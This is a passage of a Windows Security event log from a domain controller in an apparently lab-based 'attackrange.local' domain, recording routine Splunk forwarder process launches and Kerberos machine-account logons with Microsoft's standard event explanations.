	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:39:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255834
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x85c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:39:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255833
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:39:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255835
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:39:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255838
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x36FC94

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:39:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255837
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x36FC94
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64805

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:39:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255836
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x36FC94

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:40:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255839
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:40:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255841
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x240
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:40:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255840
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x32c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:40:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255842
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1070
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:40:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255844
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:40:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255843
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:40:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255845
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:40:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255848
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3731EA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:40:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255847
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3731EA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64818

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:40:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255846
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3731EA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:41:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255849
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:41:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255850
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1148
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:41:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255852
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:41:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255851
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb30
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:41:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255853
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

